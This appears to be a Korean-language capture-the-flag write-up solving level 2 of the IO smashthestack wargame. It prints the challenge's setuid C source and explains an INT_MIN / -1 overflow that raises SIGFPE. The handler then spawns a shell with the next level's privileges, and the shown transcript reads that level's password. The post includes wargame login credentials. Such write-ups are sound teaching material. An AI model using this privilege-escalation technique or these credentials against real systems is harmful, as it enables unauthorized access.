Wargame/IO.smashthestack.org

IO smashthestack level2

pwn3r_45 2011. 7. 17. 04:02
Category : System hacking

ssh://io.smashthestack.org:2224
id : level2
pw : WE5aVWRwYPhX

Summary : integer range , SIGFPE signal

 

서버에 접속하여 문제 파일을 확인한다.
 

level2@io:/levels$ ls -l | grep level02
-r-sr-x--- 1 level3  level2   7247 May 26 12:00 level02
-r-------- 1 level2  level2    490 May 26 11:59 level02.c
-r-sr-x--- 1 level3  level2   6940 May 26 11:57 level02_alt
-r-------- 1 level2  level2    437 May 26 11:56 level02_alt.c

이번 level은 2개의 문제로 구성되있으며 2문제 모두 source파일이 제공되어있다.
alt는 나중에 다시 풀이한다.
level02의 source파일부터 확인해본다.

level2@io:/levels$ cat level02.c
//a little fun brought to you by bla

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <setjmp.h>

void catcher(int a)
{
        setresuid(geteuid(),geteuid(),geteuid());
       
printf("WIN!\n");
        system("/bin/sh");
        exit(0);
}

int main(int argc, char **argv)
{
        puts("source code is available in level02.c\n");

        if (argc != 3 || !atoi(argv[2]))
                return 1;
        signal(SIGFPE, catcher);
        return atoi(argv[1]) / atoi(argv[2]);
}

소스는 간단하다. argc가 3이 아니거나 argv[2]가 0이면 바로 종료하고 singal 시스템콜로 SIGFPE signal이 발생하면 catcher 함수를 handler로 사용하도록 등록한다. catcher 함수는 setreuid를 해주고 , 쉘을 실행해주는 함수이므로 결과적으로 SIGFPE signal을 발생시키면 다음 level user의 쉘을 얻을 수 있다.

SIGFPE signal에 대해서는
http://wikipedia.qwika.com/en/SIGFPE 를 참고했다.
이제 주시해야 할 부분은 atoi(argv[1]) / atoi(argv[2]) 이다.
위 링크에 명시되어있듯이 SIGFPE signal은 정수가 0으로 나누어질때도 발생한다.
하지만 argv[1]을 나누는 값인 argv[2]가 0일 경우에 연산과정을 거치지도 않고 프로그램이 종료되기 때문에 다른 경우를 생각해야한다.

다시 링크에 명시되있는 항목을 살펴보면 integer overflow일때도 SIGFPE signal이 발생함을 할 수 있다.
int 자료형의 범위는 -2147483648 ~ 2147483647인데 이 범위를 초과하는 값이 int 자료형에 들어가게 된다면 integer overflow가 발생한다.
마침 , argv[1]과 argv[2]가 나누기 연산을 거치기 때문에 integer overflow를 발생시킬 수 있다.
-2147483648 / -1 연산을 하면 결과는 2147483648로 , int 자료형의 범위를 벗어나기 때문이다.

argv[1]과 argv[2]에 각각 -2147483648과 -1을 넘기면서 실행한다.

level2@io:/levels$ ./level02 -2147483648 -1    
source code is available in level02.c

WIN!
sh-3.2$ id
uid=1003(level3) gid=1002(level2) groups=1002(level2),1029(nosu)
sh-3.2$ cat /home/level3/.pass
f9esfdy8T6Hd


level3 user의 쉘을 획득하고 password를 획득했다.